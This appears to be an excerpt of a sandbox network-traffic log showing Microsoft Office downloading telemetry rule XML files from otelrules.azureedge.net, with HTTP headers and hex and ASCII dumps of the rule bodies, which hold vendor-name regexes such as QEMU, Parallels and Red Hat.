2024-11-20 12:28:40 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:40 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122840Z-1777c6cb7542p5p4hC1TEBq09800000009k000000000b575 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:40 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:40 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122840Z-r1d97b99577sdxndhC1TEBec5n000000091g000000003msg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:40 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:40 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:40 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122840Z-1777c6cb754j47wfhC1TEB5wrw00000005eg000000006rnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:40 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:40 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:40 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122840Z-185f5d8b95cf7qddhC1NYC66an0000000acg000000000bn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:40 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:41 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:41 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122841Z-1777c6cb7549j9hhhC1TEBzmcc00000009d000000000ghq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:41 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:41 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:41 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122841Z-185f5d8b95c4bhwphC1NYCs8gw0000000aeg0000000028bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:41 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:41 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:41 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 264b3f43-b01e-0002-5a1b-3b1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122841Z-r1d97b99577tssmjhC1TEB8kan00000008n000000000frdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:41 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:41 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122841Z-1777c6cb754ww792hC1TEBzqu400000009f000000000777a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:41 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:41 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122841Z-185f5d8b95csd4bwhC1NYCq7dc0000000a2g00000000fyra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:41 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-1777c6cb754gc8g6hC1TEB966c00000009gg00000000dguq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-r1d97b99577l6wbzhC1TEB3fwn00000008xg00000000avgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
